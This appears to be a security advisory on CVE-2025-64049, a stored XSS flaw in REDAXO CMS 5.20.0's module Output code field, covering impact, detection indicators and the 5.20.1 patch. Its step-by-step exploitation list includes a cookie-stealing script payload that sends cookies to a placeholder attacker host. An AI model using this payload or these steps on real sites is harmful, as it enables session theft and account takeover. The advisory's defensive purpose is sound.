CVE-2025-64049: 
PHP vulnerability analysis and mitigation

CVE-2025-64049 is a stored cross-site scripting (XSS) vulnerability in the module management component of REDAXO CMS version 5.20.0. It allows remote users with high privileges to inject arbitrary web scripts or HTML via the Output code field in modules, with the payload executing when any user views or edits an article containing a slice that uses the compromised module. The vulnerability was published on November 25, 2025, and a patch was released in version 5.20.1. It carries a CVSS v3.1 base score of 4.8 (Medium) (Github Advisory, Feedly).

The root cause is improper neutralization of user-controllable input before it is rendered in the browser (CWE-79). An authenticated user with administrative or high-privilege access can navigate to the module management section (/redaxo/index.php?page=modules/modules), insert a malicious JavaScript payload into the Output code field of a module, and save it. The payload is then persistently stored in the database and executes in the browser of any user who subsequently views or edits an article that includes a slice referencing the compromised module. A public PoC and disclosure write-up are available (CVE Disclosure, Github Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other authenticated users, including administrators. This can lead to session cookie theft, account takeover, unauthorized actions performed on behalf of victims, and compromise of CMS content integrity. Because the payload is stored persistently in the database, it triggers repeatedly for every affected page view, amplifying the potential impact (CVE Disclosure, Github Advisory).

Public proof-of-concept exploit materials, including screenshots demonstrating the full exploitation process, are available via a Google Drive folder and a GitHub disclosure repository (CVE Disclosure). Exploitation requires high privileges (administrative access to the CMS) and user interaction (a victim must view or edit an affected article). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.033–0.038%, indicating a low near-term exploitation probability (Github Advisory, Feedly).

1. Gain administrative access: Log in to the REDAXO CMS backend with an account that has module management privileges.
2. Navigate to module management: Go to http://<target>/redaxo/index.php?page=modules/modules.
3. Create or edit a module: Add a new module or edit an existing one and insert a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the Output code field.
4. Save the module: Submit the form to persist the payload in the CMS database.
5. Trigger execution: Navigate to the Structure section (/redaxo/index.php?page=structure), create or edit an article, and add a slice that uses the compromised module. Save the article.
6. Harvest credentials: When any user (including other administrators) views or edits the affected article, the stored payload executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (CVE Disclosure).

• Logs: CMS access logs showing POST requests to /redaxo/index.php?page=modules/modules containing script tags or encoded JavaScript in the module output field; repeated GET requests to article pages from multiple user sessions shortly after a module was modified.
• Database: Module output fields in the REDAXO database containing <script>, javascript:, onerror=, or other event handler attributes in the output column of the modules table.
• Network: Outbound HTTP requests from users' browsers to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from REDAXO article page loads.
• Application Behavior: Unexpected JavaScript alert popups or redirects when viewing or editing articles in the REDAXO backend or frontend (CVE Disclosure).

The vulnerability is patched in REDAXO CMS version 5.20.1 (Composer package redaxo/source); administrators should upgrade immediately (Github Advisory). As interim mitigations, restrict module management access to the minimum number of trusted administrators, implement a strict Content Security Policy (CSP) to limit script execution, and audit existing modules for suspicious output code. Proper output escaping of all module code fields before rendering in the browser is the underlying fix (CVE Disclosure).